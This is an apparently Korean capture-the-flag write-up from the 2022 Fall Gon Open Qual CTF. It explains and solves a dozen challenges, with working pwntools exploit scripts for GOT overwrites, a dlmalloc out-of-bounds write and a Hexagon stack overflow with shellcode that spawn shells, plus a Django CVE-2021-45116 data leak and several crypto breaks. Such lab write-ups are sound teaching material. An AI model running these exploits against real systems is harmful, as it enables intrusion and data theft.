2022 Fall Gon Open Qual CTF
imssm99 (2nd, 11427 pts)
A. Zero Gravity
Vulnerability
idx
를 입력받을 때 값을 검사하지 않아 OOB가 일어나게 된다.
a
, r
을 통해 임의의 주소에 float 형식으로 값을 더하거나 읽을 수 있다.
cnt = 1;
for ( i = 0; i < cnt; ++i )
{
printf("(r)ead / (a)dd >> ");
scanf("%2s", &s);
if ( (char)s == 'a' )
{
printf(" idx >> ");
scanf("%d", &idx);
printf(" value >> ");
scanf("%f", &value);
arr[idx] = value + arr[idx];
}
else if ( (char)s == 'r' )
{
printf(" idx >> ");
scanf("%d", &idx);
printf("%.10e\n", arr[idx]);
}
memset(&s, 0, 3uLL);
}
/*
.got.plt:0x601028 = memset
.got.plt:0x601030 = setvbuf
.bss:0x6010A0 = arr
.bss:0x6010E0 = cnt
*/
Exploit
- 먼저
cnt
를 조작하여 for loop가 여러 번 돌도록 한다. arr[-28]
을 읽어setvbuf@got
의 lower 4byte를 읽어system
함수의 주소를 알아낸다.arr[-30]
에 값을 더해memset@got
를system
함수의 주소로 덮어쓴다.memset(&s, 0, 3uLL)
에서system(&s)
가 실행되어 원하는 명령을 입력할 수 있다.
from pwn import *
import struct
itof = lambda x: struct.unpack("<f", struct.pack("<L", x))[0]
ftoi = lambda x: struct.unpack("<L", struct.pack("<f", x))[0]
elf = ELF("./zero_gravity")
libc = ELF("./libc.so.6")
p = remote("host1.dreamhack.games", 20267)
#p = process("./zero_gravity")
def read(idx):
p.sendlineafter(b">> ", b"r")
p.sendlineafter(b">> ", str(idx).encode())
return ftoi(float(p.recvline()))
def add(idx, value):
p.sendlineafter(b">> ", b"a")
p.sendlineafter(b">> ", str(idx).encode())
p.sendlineafter(b">> ", str(value).encode())
add(16, 0x10) # cnt+=0x10
l = read(-30)
lp = itof(l)
t = read(-28) - libc.symbols["setvbuf"] + libc.symbols["system"]
tp = itof(t)
print(hex(l), lp)
print(hex(t), tp)
add(-30, tp-lp)
print(hex(read(-30)))
p.interactive()
B. Bomblab - Hard
Level 1 ~ Level 6은 정적 분석을 통해 풀었고, Secret Phase는 Binary Patch를 통해 디버거 탐지를 우회한 뒤 GDB를 이용해 동적으로 분석했다.
Level 1
a = bytes.fromhex("839C8982939F899F8D8189")
code = bytes([x^0xCC for x in a])
print("[+] level 1:", code)
Level 2
a = [0]*6
a[0] = 1
for i in range(1, 6):
a[i] = ( ((i*(i+1)) >> 1) + a[i-1] )
assert a[i] == ( ((i*(i+1)) >> 1) + a[i-1] )
print("[+] level 2:", " ".join(map(str, a)))
Level 3
a = 0xDEADBEEF
assert a > 0xDEADBEEE
b = -327871 * ((450357013 * a) >> 53) * 61 + a
assert (a - b) // 0x3D == 327871 * ((450357013 * a) >> 53)
print("[+] level 3:", a, b)
Level 4
a, b = 123, 456
assert a >= -1 and b >= 0
assert a**4 - 3*(a**2)*b + b**2 == 208398105
print("[+] level 4:", a, b)
Level 5
#include <stdio.h>
#include <math.h>
int main(void)
{
double f; // [rsp+18h] [rbp-48h] BYREF
double v3; // [rsp+20h] [rbp-40h]
double v4; // [rsp+28h] [rbp-38h]
double c; // [rsp+30h] [rbp-30h]
double v6; // [rsp+38h] [rbp-28h]
double v7; // [rsp+40h] [rbp-20h]
double v8; // [rsp+48h] [rbp-18h]
double v9; // [rsp+50h] [rbp-10h]
c = 0.0000001;
v3 = 0.0;
v4 = 0.0;
f = 0.9;
while ( f > v4 )
{
v6 = (v3 + 1.0) * (v4 + 1.0);
v4 = c / 2.0 + v4;
v7 = (v6 * c / 2.0 + v3 + 1.0) * (v4 + 1.0);
v8 = (v7 * c / 2.0 + v3 + 1.0) * (v4 + 1.0);
v4 = c / 2.0 + v4;
v9 = (c * v8 + v3 + 1.0) * (v4 + 1.0);
v3 = (v8 + v8 + v7 + v7 + v6 + v9) * c / 6.0 + v3;
if ( fabs(v3 - 1.604151184400547) <= c ) {
printf("%.18lf\n", v4);
break;
}
}
if ( fabs(v3 - 1.604151184400547) > c ) {
printf("boom\n");
}
return 0;
}
Level 6
result = 1
for i in range(6):
result *= func(inp[i], 1, inp[i+6], path)
assert result == 229391351 # 229391351 = 7 · 19 · 23 · 31 · 41 · 59
Secret Phase
scanf(&level4_input, "%d %d %s", &a, &b, &c);
if (c == "c0m0r1bb")
SecretPhase2();
Secret Phase 2
input = read_stream();
if ( (&abs & 0xFFF) != 3536 || (&atoi & 0xFFF) != 1600 )
boom();
if ( abs(atoi(input)) == 3.14 )
{
puts("Wow! You've defused the secret stage!");
puts("Congratulations! You've defused the bomb!");
print_flag();
exit(0);
}
for ( i = 0; i <= 0x16E; ++i )
*(&retaddr + i) = &abs + qword_203020[i] - 286160;
abs(atoi(input))
은 절대 3.14가 될 수 없다. 아래 return address에 ROP Payload를 추가하는 부분이 있다.
GDB를 이용해 boom()
으로 가지 않도록 breakpoint를 걸어가며 확인했다.
→ 0x7ffff7df12b6 <__vfprintf_internal+518> cmps BYTE PTR ds:[rsi], BYTE PTR es:[rdi]
0x7ffff7df12b7 <__vfprintf_internal+519> ret
이 부분에서 값이 다르면 boom()
으로 가게 된다. 플래그의 길이가 크게 길지 않아 여러 번 실행시켜가며 구조를 분석했고, 동일한 값이 나오는 입력을 찾았다.
Solution
OPEN_SESAME
1 2 5 11 21 36
3735928559 15904193
123 456 c0m0r1bb
0.707106799996007784
12 15 2 17 18 21 7 19 23 31 41 59
FLFCDAFAFPENDEEEEODDFDFDCBCBFN
C. pprintable
문제의 이름과 코드에서 알 수 있듯이 p
, q
의 각 byte는 출력 가능한 ASCII 범위 안에 있다. 이를 이용해 p
, q
의 upper 2bit가 01임을 알 수 있어 알고 있는 bit가 0.5를 넘게 된다.
또한, p
, q
를 복구하는 방법을 찾아보니 Gabrielle de Micheli, Nadia Heninger. Recovering cryptographic keys from partial information, by example. 2020 를 찾을 수 있었다. 여기서 나온 방법을 따라 Branch and Prune을 이용해 p
, q
를 복구할 수 있었다.
Solution
N = 0x12376eadc9b0bd1f13fa9d904f5a1a75bb7ddaaa77ec5b1e8dec4cb7532b662fcc63a0dfa982e1702be449c9b295bf7a0b7c6ba3dc7aaf3856d681601e723aa3bce3e0cd064793a9c6b00eb01d3e3f0fbceddb208cba2598d9d6a35f3cf8623a1389686807fb5f8f53dd0a7f544c02d030f498f7aa315b7547783399bc88cd3e2859b6786b858a35593537ead5a0cc48401a24cefe6ac6997035f6571af098d5d5b24313437fd89d22cce7fa5907d73c219b609eeea9bcffab0f18504e1d2ed5669752e21dd17b57ea5cf6e6efa76cd965e4589539dc087e152fb4d3f1f90edcdcab22b71b326a3e7e0674f8820a24aa3be15756db2e908d434b80419061bf45
e = 0x10001
p_redacted = 0x50b4040146040415a04084000094153182141460200401063040440024200046055600042240040410248014e00410444640240166000001e09141101084025181052000c30004260000406100601226058401613084a0040492001040404620100401344612000215221412811086840005d06001060000008460040025000
p_mask = 0x1250b70401c6444455a8418d2800945d3182dc1c7060a4010630c0c4282c2a0047575e8084aa4207ac592ca034e02e78445640f40366020089e0b9791119940b53818d2842c3082ea70818e0610a601b2e35844169708ca00404931912e04046e01004893e4632c80a1da23c9ab310868d402dd0600307283300cd680c1a25602
q_redacted = 0x80902304402050a7145440048082208004041205b60014000102340106007002a240b0108404005604000190060092010010004504c2104002100140009020270500022101530484551206642004c1424200000202040042210204c4143704000480101004809114629230312040040000600400420520943204412216404
q_mask = 0x1aa0809033046833d9e7945e420480822090ac0c1a35bf00b48a21223c23060070c2a240b0328c4c235e0408819817209a11531101c50cd21a6012309b40c292302f05000221c353a5845f126e65210ec9c24a0001820284004bf1a206c45637b4500680581894d0d1d46bb2b039a2e84d008a604508420d219c32166b2276c04
pt = int.from_bytes(b"flag{this_is_fake_flag_:P}", byteorder = "big")
ct = 0x97090fc71e4c4c7fe52fb9c5cafde7bae8cf5f911c2755174f3a61515f475c7000d127e23ad99498bd58078abe2890fe40c64067116c66be74ac5422e731905103f4ecc4ae6cf9478580d6fb373744b897caf2b95f01531b626afb46eb88c0f5f419635a27f903ab8ffc55094e015008cbb9520f07755da279226fefa8859bfef694b86ca3fdf88042361d18ecb7ae1ecf98041140b3f167687f45e3da914ee35f9d345782438018310da609578a1047a99a9c54ff846eb2017ac26a0cfb8f5e542c0c7feba904e0ff15a6e2712c2135f9c80b057185cd31a8e9e5371194d063776bdf3537837c705d3761dd6f0ec9419034c294914015bc0e3fbea474fdc15
import string
print(bin(p_mask))
mask = (1<<1024) - 1
p_mask &= mask
q_mask &= mask
pb = bytearray(p_redacted.to_bytes(128, "big"))
pm = bytearray(p_mask.to_bytes(128, "big"))
qb = bytearray(q_redacted.to_bytes(128, "big"))
qm = bytearray(q_mask.to_bytes(128, "big"))
for i in range(128):
pb[i] |= 0b01000000
pm[i] |= 0b11000000
qb[i] |= 0b01000000
qm[i] |= 0b11000000
p_known = int.from_bytes(pb, "big")
q_known = int.from_bytes(qb, "big")
p_mask2 = int.from_bytes(pm, "big")
q_mask2 = int.from_bytes(qm, "big")
p_cnt = (bin(p_mask2)[2:].count("1"), bin(p_mask2)[2:].count("0"))
q_cnt = (bin(q_mask2)[2:].count("1"), bin(q_mask2)[2:].count("0"))
print("P:", p_cnt, p_cnt[0]/1024 * 100)
print("Q:", q_cnt, q_cnt[0]/1024 * 100)
assert p_cnt[0]/1024 > 0.5 and q_cnt[0]/1024 > 0.5
pbin = lambda x: bin(x)[2:].rjust(1024, "0")[::-1]
p_k = pbin(p_known)
q_k = pbin(q_known)
p_m = pbin(p_mask2)
q_m = pbin(q_mask2)
queue = [("", "", 0)]
btoi = lambda x: int(x[::-1], 2)
while queue:
# print(queue)
p_t, q_t, i = queue.pop()
if i == 1024:
p = btoi(p_t)
q = btoi(q_t)
print("p:", p)
print("q:", q)
assert p*q == N
print((p.to_bytes(256, "big") + q.to_bytes(256, "big")).decode())
break
if i != 0 and (btoi(p_t) * btoi(q_t)) % 2**(i) != N % 2**(i):
continue
if p_m[i] == "1" and q_m[i] == "1":
queue.append((p_t+p_k[i], q_t+q_k[i], i+1))
elif p_m[i] == "1" and q_m[i] == "0":
queue.append((p_t+p_k[i], q_t+"0", i+1))
queue.append((p_t+p_k[i], q_t+"1", i+1))
elif p_m[i] == "0" and q_m[i] == "1":
queue.append((p_t+"0", q_t+q_k[i], i+1))
queue.append((p_t+"1", q_t+q_k[i], i+1))
else:
queue.append((p_t+"0", q_t+"0", i+1))
queue.append((p_t+"0", q_t+"1", i+1))
queue.append((p_t+"1", q_t+"0", i+1))
queue.append((p_t+"1", q_t+"1", i+1))
D. Obstacle
동적으로 디버깅하며 label
과 .text
로의 Indirect call을 이용하여 Control-Flow를 복구할 수 있었고, 이를 통해 encrypt 과정을 python코드로 작성할 수 있었다. 그 과정을 역으로 수행하는 decrypt를 구현하여 flag를 얻을 수 있었다.
Solution
import struct
mask8 = 0xFFFFFFFFFFFFFFFF
mask4 = 0xFFFFFFFF
def ROL(num, count, bits=8):
return ((num << count) | (num >> (bits - count))) & ((0b1<<bits) - 1)
def ROR(num, count, bits=8):
return ((num >> count) | (num << (bits - count))) & ((0b1<<bits) - 1)
key = b"Sup3r_s4f3_k3y".ljust(16, b"\x00")
iv = b"Sup3r_4ws0me_1v".ljust(16, b"\x00")
pbox = [None]*0x100
for blk in range(0x100):
if blk:
q, w = 1, 1
while True:
tmp = (w^(2*w)^0x1b) & mask4
if w & 0x80 != 0:
w = tmp
else:
w = (w^(2*w)) & mask4
q = (q ^ (4 * (q^(2*q))) ^ (2*q) ^ (16 * ((4 * (q^(2*q))) ^ q ^ (2*q)))) & mask4
if q & 0x80 != 0:
q ^= 9
if blk == w & 0xFF:
break
q &= 0xFF
b = (ROL(q, 3) ^ ROL(q, 2) ^ q ^ 0x63 ^ ROL(q, 1) ^ ROL(q, 4)) & 0xFF
else:
b = 0x63
pbox[blk] = b
assert None not in pbox
def encRound1(block):
for i in range(16):
block[i] ^= key[i]
return block
def encRound2(block):
l = struct.unpack(">Q", block[:8])[0]
h = struct.unpack(">Q", block[8:])[0]
l ^= ((h >> 19) & mask8) | ((h << 13) & mask8)
block = struct.pack(">Q", h) + struct.pack(">Q", l)
return block
def encRound3(block):
a = [13, 0, 11, 14, 9, 12, 7, 10, 5, 8, 3, 6, 1, 4, 15, 2]
block = bytearray([block[a[x]] for x in range(16)])
for i in range(16):
block[i] = pbox[block[i]]
return block
def decRound1(block):
for i in range(16):
block[i] ^= key[i]
return block
def decRound2(block):
l = struct.unpack(">Q", block[:8])[0]
h = struct.unpack(">Q", block[8:])[0]
h ^= ((l >> 19) & mask8) | ((l << 13) & mask8)
block = struct.pack(">Q", h) + struct.pack(">Q", l)
return block
def decRound3(block):
for i in range(16):
block[i] = pbox.index(block[i])
a = [13, 0, 11, 14, 9, 12, 7, 10, 5, 8, 3, 6, 1, 4, 15, 2]
block = bytearray([block[a.index(x)] for x in range(16)])
return block
block = bytearray(b"AAAABBBBCCCCDDDD")
assert decRound1(encRound1(block)) == block
assert decRound2(encRound2(block)) == block
assert decRound3(encRound3(block)) == block
'''
# ENC
data = bytearray(b"AAAABBBBCCCCDDDD\n".ljust(32, b"\x00"))
for i in range(0, len(data), 0x10):
for j in range(0x10):
if i == 0:
data[j] ^= iv[j]
else:
data[i+j] ^= data[i+j-16]
for r in range(0x131):
if r % 3 == 0:
data[i:i+0x10] = encRound1(data[i:i+0x10])
elif r % 3 == 1:
data[i:i+0x10] = encRound2(data[i:i+0x10])
elif r % 3 == 2:
data[i:i+0x10] = encRound3(data[i:i+0x10])
assert data.hex() == "be8744b98893267c3b90cb939e94aeff759b72058e202a6b84ec426c8f0bd092"
'''
# DEC
#data = bytearray(bytes.fromhex("be8744b98893267c3b90cb939e94aeff759b72058e202a6b84ec426c8f0bd092")) # for test
data = bytearray(bytes.fromhex("483918c5094768c537f60136658101142f7f30d93639b93020d8da002fbd1bcc186192025fe8b247530792b520c6c1a3b83789b93bc54ce30ae5d4f058213d45"))
for i in range(0, len(data), 0x10)[::-1]:
for r in range(0x131)[::-1]:
if r % 3 == 0:
data[i:i+0x10] = decRound1(data[i:i+0x10])
elif r % 3 == 1:
data[i:i+0x10] = decRound2(data[i:i+0x10])
elif r % 3 == 2:
data[i:i+0x10] = decRound3(data[i:i+0x10])
for j in range(0x10):
if i == 0:
data[j] ^= iv[j]
else:
data[i+j] ^= data[i+j-16]
print(data.decode())
G. Emerald Tablet
Vulnerability
Django의 dictsort
에 대해 검색해보니 문제의 환경인 Django 4.0에 적용되는 CVE-2021-45116을 찾을 수 있었다. sort key
로 indexing이 가능한 취약점이었고, key.hex.{i}
를 통해 key
의 i
번째의 hex값으로 정렬하도록 할 수 있었다.
uuid4()
는 random한 uuid를 생성하는 함수이다. 여러 개의 데이터를 만들고, 정렬하여 flag의 index를 구하면 값을 알 수 있다. 데이터의 수가 많을 수록 정확한 값을 찾을 수 있다.
Exploit
import requests
from bs4 import BeautifulSoup as bs
import uuid
#url = "http://localhost:59909"
url = "http://host3.dreamhack.games:16320"
mag = 4
def upload_many(n):
for i in range(n):
r = requests.post(f"{url}/upload/", data={"inscriber": "a", "title": "a", "data": "a"}, allow_redirects=False)
if r.status_code != 302:
print("ERROR!")
break
def flag_idx(sort):
r = requests.get(f"{url}/list/", params={"sort": sort})
soup = bs(r.text, "html.parser")
elems = soup.select("tbody > tr")
for i, e in enumerate(elems):
if e.select_one("th").text == "1":
return i
return None
'''
RFC-4122
low = uuid.UUID("00000000-0000-4000-8000-000000000000")
high = uuid.UUID("FFFFFFFF-FFFF-4FFF-BFFF-FFFFFFFFFFFF")
'''
result = ""
print("[+] Upload Many Start")
upload_many(0x100 * mag)
print("[+] Upload Many Done")
for i in range(32):
if i == 12:
result += "4"
elif i == 16:
idx = flag_idx(f"key.hex.{i}") / mag
leak = round(idx/0x40)+8
result += hex(leak)[2:]
else:
idx = flag_idx(f"key.hex.{i}") / mag
leak = round(idx/0x10)
result += hex(leak)[2:]
print(i, result)
print(uuid.UUID(result))
K. dlmalloc
Vulnerability
3. Clear
메뉴에서 memset을 할 때 size에 대한 검증이 없어 OOB가 발생한다.
void *storeClear()
{
__int64 Store;
__int64 Index;
__int64 n;
Store = readStore();
Index = readIndex(Store);
printf("Size? ");
n = readUint64();
return memset((void *)(8 * Index + Store), 0, n);
}
2. Write
메뉴에서 Index를 읽어 원하는 위치에 값을 쓸 수 있다. 이때, malloc_usable_size(store)
를 이용해 index의 범위를 검증하게 되는데 여기서 취약점이 발생하게 된다.
void storeWrite()
{
__int64 result;
__int64 Store;
__int64 Index;
Store = readStore();
Index = readIndex(Store);
printf("Value? ");
result = readUint64();
*(_QWORD *)(Store + 8 * Index) = result;
return result;
}
unsigned __int64 readIndex(void *store)
{
unsigned __int64 Uint64;
size_t n;
printf("Index? ");
Uint64 = readUint64();
n = malloc_usable_size(store);
if ( Uint64 >> 61 || n <= 8 * Uint64 )
{
fwrite("[ERROR] Out-of-bound index.\n", 1uLL, 0x1CuLL, stderr);
exit(1);
}
return Uint64;
}
#define INUSE_BITS (PINUSE_BIT|CINUSE_BIT) // PINUSE_BIT = 1, CINUSE_BIT = 2
#define is_inuse(p) (((p)->head & INUSE_BITS) != PINUSE_BIT)
#define chunksize(p) ((p)->head & ~(FLAG_BITS))
#define overhead_for(p) (is_mmapped(p)? MMAP_CHUNK_OVERHEAD : CHUNK_OVERHEAD)
#define is_mmapped(p) (((p)->head & INUSE_BITS) == 0)
size_t dlmalloc_usable_size(void* mem) {
if (mem != 0) {
mchunkptr p = mem2chunk(mem);
if (is_inuse(p))
return chunksize(p) - overhead_for(p);
}
return 0;
}
malloc_usable_size()
는 is_inuse(p) == 1
, 즉 FLAG_BITS == 0 or 2
일 때, chunksize(p) - overhead_for(p)
를 return한다.
이때, chunksize == 0
이고 FLAG_BITS == 0
이면 0 - 16
을 반환하게 되고, unsigned 자료형에서 underflow가 발생하게 된다.
3. Clear
메뉴를 이용해 다음 chunk의 chunksize
와 FLAG_BITS
를 0으로 만들면 Index의 검증을 우회할 수 있고 OOB Write가 가능하다.
Exploit
1. Allocation
메뉴에서 allocation이 실패하게 될 경우 ld 중간에 할당되는 경우가 있었다. (이유는 모르겠음)
이를 통해 ld, libc의 base address를 찾고 _rtld_global._dl_rtld_lock_recursive
를 system
함수의 주소로, _rtld_global._dl_load_lock
을 /bin/sh\x00
으로 변조하고 4. Exit
메뉴를 통해 exit()
을 호출하여 shell을 획득할 수 있었다.
561066138000-561066139000 r--p 00000000 08:30 971904 /home/dlmalloc/vuln
561066139000-56106613a000 r-xp 00001000 08:30 971904 /home/dlmalloc/vuln
56106613a000-56106613b000 r--p 00002000 08:30 971904 /home/dlmalloc/vuln
56106613b000-56106613c000 r--p 00002000 08:30 971904 /home/dlmalloc/vuln
56106613c000-56106613d000 rw-p 00003000 08:30 971904 /home/dlmalloc/vuln
7f619dbc1000-7f619dbc4000 rw-p 00000000 00:00 0
7f619dbc4000-7f619dbe6000 r--p 00000000 08:30 961397 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619dbe6000-7f619dd5e000 r-xp 00022000 08:30 961397 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619dd5e000-7f619ddac000 r--p 0019a000 08:30 961397 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619ddac000-7f619ddb0000 r--p 001e7000 08:30 961397 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619ddb0000-7f619ddb2000 rw-p 001eb000 08:30 961397 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f619ddb2000-7f619ddb6000 rw-p 00000000 00:00 0
7f619ddba000-7f619ddbb000 r--p 00000000 08:30 971857 /home/dlmalloc/libdlmalloc.so
7f619ddbb000-7f619ddc5000 r-xp 00001000 08:30 971857 /home/dlmalloc/libdlmalloc.so
7f619ddc5000-7f619ddc6000 r--p 0000b000 08:30 971857 /home/dlmalloc/libdlmalloc.so
7f619ddc6000-7f619ddc7000 r--p 0000b000 08:30 971857 /home/dlmalloc/libdlmalloc.so
7f619ddc7000-7f619ddc8000 rw-p 0000c000 08:30 971857 /home/dlmalloc/libdlmalloc.so
7f619ddc8000-7f619ddca000 rw-p 00000000 00:00 0
7f619ddca000-7f619ddcb000 r--p 00000000 08:30 961375 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddcb000-7f619ddee000 r-xp 00001000 08:30 961375 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddee000-7f619ddf6000 r--p 00024000 08:30 961375 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddf6000-7f619ddf7000 rw-p 00000000 00:00 0
7f619ddf7000-7f619ddf8000 r--p 0002c000 08:30 961375 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddf8000-7f619ddf9000 rw-p 0002d000 08:30 961375 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f619ddf9000-7f619ddfa000 rw-p 00000000 00:00 0
7ffe5497a000-7ffe5499b000 rw-p 00000000 00:00 0 [stack]
7ffe549a1000-7ffe549a5000 r--p 00000000 00:00 0 [vvar]
7ffe549a5000-7ffe549a6000 r-xp 00000000 00:00 0 [vdso]
from pwn import *
def falloc(size):
p.sendlineafter(b"?", b"1")
p.sendlineafter(b"?", str(size).encode())
r = p.recvline()
if b"Failed" in r:
return None
return int(r.split(b": ")[1], 16)
def fwrite(store, index, data):
p.sendlineafter(b"?", b"2")
p.sendlineafter(b"?", str(store).encode())
p.sendlineafter(b"?", str(index).encode())
p.sendlineafter(b"?", str(data).encode())
def fclear(store, index, size):
p.sendlineafter(b"?", b"3")
p.sendlineafter(b"?", str(store).encode())
p.sendlineafter(b"?", str(index).encode())
p.sendlineafter(b"?", str(size).encode())
#context.log_level = "debug"
libc = ELF("libc.so.6")
#p = process("./vuln", env={"LD_PRELOAD": "./libdlmalloc.so"})
p = remote("host3.dreamhack.games", 14260)
falloc(0xFFFFFFFF00000000)
falloc(0xFFFFFFFF00000000)
falloc(0xFFFFFFFF00000000)
falloc(0x20)
leak = falloc(0x20)
ld_bss_offset = 0x2000
libc_base = leak - 0x40 - 0x230000
print(hex(leak - 0x40 + ld_bss_offset))
fclear(0, 0, 1024)
pause()
fwrite(1, (0x2f68 - 0x40) // 8, libc_base + libc.symbols["system"])
fwrite(1, (0x2968 - 0x40) // 8, u64(b"/bin/sh\x00"))
p.sendlineafter(b"?", b"4")
p.interactive()
L. baby-hexagon
Vulnerability
int main (int argc, char **argv, char **envp);
0x000202a0 ? allocframe(SP,#0x110):raw
0x000202a4 / immext(##0xfffefe80)
0x000202a8 \ R2 = add(PC,##0xfffefebe)
0x000202ac [ R0 = ##0x40
0x000202b0 [ R1 = ##0x1
0x000202b4 [ R3 = ##0x15
0x000202b8 [ call syscall ; sym.syscall -> write(0x1, &"Give me something...\n", 0x15)
0x000202bc [ R1 = ##0x3f
0x000202c0 [ R2 = ##0x0
0x000202c4 [ R3 = add(FP,##-0x100)
0x000202c8 [ R4 = ##0x200
0x000202cc [ memw(FP+##-0x104) = R0
0x000202d0 [ R0 = R1
0x000202d4 [ R1 = R2
0x000202d8 [ memw(FP+##-0x108) = R2
0x000202dc [ R2 = R3
0x000202e0 [ R3 = R4
0x000202e4 [ call syscall ; sym.syscall -> read(0x0, 0x4080xxxx, 0x200)
0x000202e8 [ R1 = memw(FP+##-0x108)
0x000202ec [ memw(FP+##-0x10c) = R0
0x000202f0 [ R0 = R1
0x000202f4 [ LR:FP = dealloc_return(FP):raw
Stack frame의 크기보다 큰 입력을 받기 때문에 Buffer Overflow가 발생한다.
Exploit
FP를 바꾸고 원하는 주소(r, w)에 입력받은 뒤, 그 주소에 쉘코드를 쓰고 점프했다. 지금 보니까 x 권한이 없는데 아마도 _qemu-hexagon_이 쉘코드를 직접 Host에서 실행하는 것이 아니라 TCG를 이용해 실행하기 때문에 되는 것으로 추정된다.
00010000-00020000 ---p 00000000 00:00 0
00020000-00040000 r--p 00000000 00:00 0
00040000-00052000 rw-p 00000000 00:00 0
00052000-00060000 rw-p 00000000 00:00 0
00060000-40000000 ---p 00000000 00:00 0
40000000-40010000 r--p 00000000 00:00 0
40010000-40020000 ---p 00000000 00:00 0
40020000-40820000 rw-p 00000000 00:00 0
40820000-100000000 ---p 00000000 00:00 0
from pwn import *
import time
from keystone import *
ks = Ks(KS_ARCH_HEXAGON, KS_MODE_LITTLE_ENDIAN)
addr = 0x40600000 # rw? rwx?
code = f"""
R6 = ##0xDD
R0 = ##{hex(addr + 0x38)}
R1 = ##{hex(addr + 0x40)}
R2 = ##{hex(addr + 0x50)}
"""
encoding, count = ks.asm(code)
asmcode = bytearray(encoding)
asmcode += bytes.fromhex("04C00054") # trap0(#0x1)
code = f"""
R6 = ##0x5D
R0 = ##0x0
"""
encoding, count = ks.asm(code)
asmcode += bytearray(encoding)
asmcode += bytes.fromhex("04C00054")
#p = process(["qemu-hexagon-static", "-strace", "./vuln"])
p = remote("host3.dreamhack.games", 12649)
payload = b""
payload = payload.ljust(0x100, b"A")
payload += p32(addr + 0x100) # FP
payload += p32(0x202bc) # PC
p.send(payload)
time.sleep(1)
payload = b""
payload += asmcode
payload += b"/bin/sh\x00"
payload += p32(addr+0x38)
payload = payload.ljust(0x100, b"\x00")
payload += p32(addr) # FP
payload += p32(addr) # PC
p.send(payload)
p.interactive()
M. cheat
Vulnerability
_client_를 분석해보면 20x20 크기의 맵의 row[i]
, col[i]
에 저장된 좌표들을 한 번씩만 밟으면 flag를 얻을 수 있다는 코드가 있다.
_server_는 _client_에서 받는 x
, z
좌표가 1초에 1개 이하인지, (x**2 + z**2) / time <= 4.0
인지 검증한다.
위 두 검증을 피하기 위해서 좌표 전송 사이에 (x**2 + z**2) // 4 + 1
만큼의 timeout을 추가하여 flag를 얻을 수 있었다.
Exploit
from pwn import *
import time
from collections import deque
row = [1040511, 10049, 9537, 9597, 517381, 263677, 523391, 64, 1044447, 524305, 782335, 655376, 917535, 1, 262143, 131075, 246755, 948771, 772927, 555519]
col = [1046399, 1037633, 808313, 808297, 810857, 1000553, 607727, 607520, 869694, 476418, 17790, 935232, 671808, 673119, 1000785, 345425, 345425, 515409, 135537, 925441]
step = [[0 for _ in range(20)] for _ in range(20)]
for x, r in enumerate(row):
rr = bin(r).lstrip("0b").rjust(20, "0")[::-1]
for z, f in enumerate(rr):
if f == "1":
step[x][z] = 1
else:
step[x][z] = 0
for x in range(20):
tmp2 = 0
for z in range(20):
tmp2 += step[z][x] << z
assert tmp2 == col[x]
def pm():
for d in step:
print(d)
print()
p = remote("host3.dreamhack.games", 20609)
context.log_level = "debug"
calct = lambda x, z: (x**2 + z**2) // 4 + 1
lastx = -1
lastz = -1
for x in range(20):
if x%2 == 0:
for z in range(20):
if (step[x][z] == 1):
time.sleep(calct(lastx - x, lastz - z))
p.sendline(f"{x} {z}".encode())
lastx = x
lastz = z
print(p.recv(timeout=0.1))
else:
for z in range(19, -1, -1):
if (step[x][z] == 1):
time.sleep(calct(lastx - x, lastz - z))
p.sendline(f"{x} {z}".encode())
lastx = x
lastz = z
print(p.recv(timeout=0.1))
p.interactive()
N. Private Storage
Vulnerability
RC4의 작동 방식은 Ct = Pt ⊕ Key
와 같은 간단한 방식이다.
_server.py_를 보면 key
가 고정되어 있으므로 다음과 같이 flag를 구할 수 있다.
C_str = P_str ⊕ Key
C_flag = P_flag ⊕ Key
P_flag = C_flag ⊕ C_str ⊕ P_str
Exploit
from pwn import *
from Crypto.Cipher import ARC4
from base64 import b64encode, b64decode
import zlib
#p = process(["python3", "server.py"])
p = remote("host1.dreamhack.games", 23936)
def download_file(fname):
p.sendlineafter(b">>", b"2")
p.sendlineafter(b">>", fname.encode())
p.recvuntil(b": ")
return b64decode(p.recvline().strip())
def add_file(fname, content):
p.sendlineafter(b">>", b"3")
p.sendlineafter(b">>", fname.encode())
p.sendlineafter(b">>", content)
key = download_file("key")
flag = download_file("flag.txt")
data = b"12345678"*0x100
add_file("a", data)
b = download_file("a")
xor_bytes = lambda a, b: bytes([q^w for q, w in zip(a, b)])
zlib_flag = xor_bytes(xor_bytes(flag, b), zlib.compress(data))
print(zlib_flag)
print(zlib.decompress(zlib_flag))
p.interactive()
O. Checkers
Vulnerability
문제 파일에 있는 함수 이름 straddling_checkerboard
를 검색해보니 치환 암호라는 것을 알 수 있었다.
한 글자씩 추가해가며 flag의 암호화 결과와 일치하는 것을 찾아 flag를 구할 수 있었다.
Exploit
from pwn import *
ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_/"
#p = process(["python3", "chal.py"])
p = remote("host3.dreamhack.games", 9090)
p.sendlineafter(b"Exit\n", b"3")
p.recvuntil(b":")
flag = p.recvline().strip()[4:-1].decode()
def enc(data):
p.sendlineafter(b"Exit\n", b"1")
p.sendlineafter(b"\n", data.encode())
p.recvuntil(b":")
return p.recvline().strip().decode()
print(flag)
result = [""]
flag_maybe = []
while result:
now = result.pop()
if len(now) > 10:
print(now)
flag_maybe.append(now)
for c in ch:
if flag.find(enc(now + c)) == 0:
result.append(now + c)
print(flag_maybe)
P. farmer
FTK Imager를 사용해 _/home/ubuntu_아래에서 _binary_와 flag.png.00 ~ _flag.png.09_를 얻을 수 있었다.
문제의 힌트를 보면 _flag.png_파일을 10개의 chunk로 나누어 어떤 처리를 했다는 것을 유추할 수 있고, 각 chunk를 _binary_의 입력으로 사용했다고 생각해볼 수 있다.
f = open("flag.png","rb")
data = f.read()
filesize = len(data)
for i in range((filesize // 1000) + (0 if (filesize%1000==0) else 1)):
frag = data[i*1000:(i+1)*1000]
$ stat flag.png
File: flag.png
Size: 9519 Blocks: 24 IO Block: 4096
...
_binary_를 살펴보면 현재 시간을 seed로 사용하여 랜덤한 값을 암호화에 사용하고 있다.
